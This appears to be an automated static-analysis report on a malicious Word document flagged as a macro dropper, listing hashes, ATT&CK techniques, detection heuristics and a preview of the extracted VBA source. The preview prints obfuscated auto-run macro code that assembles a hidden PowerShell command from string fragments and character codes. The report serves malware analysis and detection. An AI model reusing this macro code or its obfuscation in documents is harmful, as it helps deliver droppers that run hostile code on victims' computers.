Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f27f78273f86cefc…

MALICIOUS

Office (OLE)

206.2 KB Created: 2018-06-22 10:28:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 7c6366410170573e6a9126a6cd42f404 SHA-1: d4048e76a90fe39d491d01533829cbc87fc7368a SHA-256: f27f78273f86cefc13185a56c6ff85e0af48337d43dd7541f28f23823583fa33
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1203 Exploitation for Client Execution

The sample contains critical heuristics indicating the presence of VBA macros with an AutoOpen function that calls the Shell() function. This strongly suggests the document is designed to execute arbitrary code. The ClamAV detection name 'Doc.Dropper.Agent-6598384-0' further supports this, indicating a dropper functionality. The VBA script uses string concatenation to construct commands, but the exact payload URL or execution details are obfuscated and truncated in the provided evidence.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6598384-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6598384-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 30836 bytes
SHA-256: 027f152379906d4a0e9a36f0b5ace9bee534cb7ea2caab74d56adf97b3d0b5ba
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "BaDBJhMmoGmQRL"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "afVpIwvPB"
Function pEvzbzqTffl()
On Error Resume Next
inVLE = (BACJt * 17031 + 3586 * CInt(NYOcK - CDbl(75686)) * 98414 * Oct(18341))
rvjhHIVi = "He" + "ll " + " & " + "( $" + "SHe" + "LL"
fDrqWw = (waiRCM * 57702 + 64003 * CInt(ktRGJZ - CDbl(46938)) * 67303 * Oct(45817))
pwiNYmP = "ID" + "[1" + "]+" + "$SH" + "Ell" + "Id"
MWURBZ = (wqIMU * 58980 + 7791 * CInt(MTakPB - CDbl(88924)) * 63884 * Oct(1372))
tarzt = "[13" + "]+'" + "X')" + " (" + " " + Chr(34)
tiCfGi = (SokEc * 17207 + 64030 * CInt(iNnZOP - CDbl(29363)) * 24918 * Oct(62089))
wGfYtMEp = "$( " + "se" + "t "
GwwIjR = (TqIrRT * 68037 + 56478 * CInt(CpTVj - CDbl(19706)) * 86195 * Oct(87845))
TWMUIKsoRH = "'Of" + "s'" + " '" + "') "
nGImLi = (WiAjK * 18380 + 15250 * CInt(PJSZz - CDbl(31562)) * 88095 * Oct(8870))
vWwVrh = Chr(34) + " +" + " [" + "St" + "Ri" + "Ng" + "](" + " (1"
KNZtKN = (FEctLh * 64045 + 60682 * CInt(Wvliwt - CDbl(85894)) * 65182 * Oct(1400))
InYoQE = "6,1" + "01," + " 10" + "1,1"
pEvzbzqTffl = rvjhHIVi + pwiNYmP + tarzt + wGfYtMEp + TWMUIKsoRH + vWwVrh + InYoQE
arTuQ = (BMbzEb * 22840 + 41096 * CInt(bGhOH - CDbl(64837)) * 53578 * Oct(74629))
End Function
Function IjZZjAh()
On Error Resume Next
dUIVwR = (rsDmD * 72923 + 19777 * CInt(zJVFh - CDbl(48385)) * 89840 * Oct(68764))
BOrSwdWdXO = "21" + ",10" + "1 ,"
dVnLT = (YwFYRv * 71743 + 61195 * CInt(KcNiH - CDbl(67598)) * 1691 * Oct(79005))
ckGNYvUtn = " 8" + "5," + " 2" + "0, " + "9," + " 2"
VPzMWE = (iltrc * 57523 + 18519 * CInt(zinwN - CDbl(86767)) * 31187 * Oct(26442))
ZDbuoRPI = "0,9" + "0, " + "81," + "67" + " ,"
HuFMLb = (djrpDw * 23842 + 54962 * CInt(BiKsn - CDbl(69999)) * 63156 * Oct(36943))
VqqvRmhDZl = " 2" + "5, " + "91 " + ", " + "86 " + ",9" + "4,"
jdvCbC = (CTEbz * 19706 + 43444 * CInt(MOwmU - CDbl(40865)) * 5727 * Oct(35779))
tTIKOvOrjuW = " 8" + "1," + "87," + " 64" + ", " + "20 " + ", "
wLKFV = (XNlXbw * 70569 + 52080 * CInt(ojBdH - CDbl(1864)) * 943 * Oct(83951))
iwUpnRslX = "70," + " 8" + "5 ," + "90" + ", "
IjZZjAh = BOrSwdWdXO + ckGNYvUtn + ZDbuoRPI + VqqvRmhDZl + tTIKOvOrjuW + iwUpnRslX
BfZou = (TjKlDP * 85687 + 99730 * CInt(dhNNmu - CDbl(20212)) * 53356 * Oct(76216))
End Function
Function ACHFSimjH()
On Error Resume Next
wkUZKJ = (UwEpQj * 38041 + 74969 * CInt(vozXq - CDbl(91958)) * 69050 * Oct(39648))
Fuwzzm = "80," + " 9" + "1,8"
anmERq = (lzvOz * 13242 + 99129 * CInt(FvuvrM - CDbl(96114)) * 88319 * Oct(51629))
XCwGFwG = "9 " + ", " + "15," + " 1" + "6," + " 12" + "0, "
zWcPAC = (zZkWL * 29740 + 62280 * CInt(lflXY - CDbl(8804)) * 77443 * Oct(78485))
wZJLoI = "82," + "68," + " 1" + "09," + " 6"
SuBod = (ctLVSU * 53647 + 41681 * CInt(tNzjPE - CDbl(88133)) * 61055 * Oct(27246))
qSOjN = "4, " + "68" + ", 2" + "0 ," + " 9 "
FhMVCi = (hEzFB * 23234 + 41956 * CInt(HdztOt - CDbl(18421)) * 18286 * Oct(78346))
qUszaPffEHL = ", " + "20," + "90," + "81" + ", 6" + "7 ,"
KEHZTY = (nGYGQ * 44996 + 18359 * CInt(GnXYrs - CDbl(3303)) * 57949 * Oct(89869))
ccrYjviI = " 2" + "5 " + ",91" + " ," + " 8"
ACHFSimjH = Fuwzzm + XCwGFwG + wZJLoI + qSOjN + qUszaPffEHL + ccrYjviI
bumzo = (XXrrZD * 14951 + 71204 * CInt(qOFzf - CDbl(83575)) * 11045 * Oct(80985))
End Function
Function ampcDITkTp()
On Error Resume Next
HFllz = (JaMSri * 55816 + 75356 * CInt(cjsjS - CDbl(34009)) * 5824 * Oct(60515))
JVKijj = "6 " + ",9" + "4,8" + "1,"
wAdwjP = (WEjsi * 19506 + 73313 * CInt(Eizrpt - CDbl(89866)) * 26158 * Oct(51856))
QRpmrpD = "87 " + ",64" + " ,2"
VwwZYk = (azmwI * 24052 + 88675 * CInt(BVatuk - CDbl(34556)) * 94131 * Oct(35943))
fSMlmbWkW = "0 " + ",10" + "3 ," + "77"
ampcDITkTp = JVKijj + QRpmrpD + fSMlmbWkW
jSLpsE = (CJKSRw * 61558 + 98704 * CInt(HLzdvV - CDbl(9894)) * 88216 * Oct(76410))
End Function
Function npJSRiDZRB()
On Error Resume 
... (truncated)

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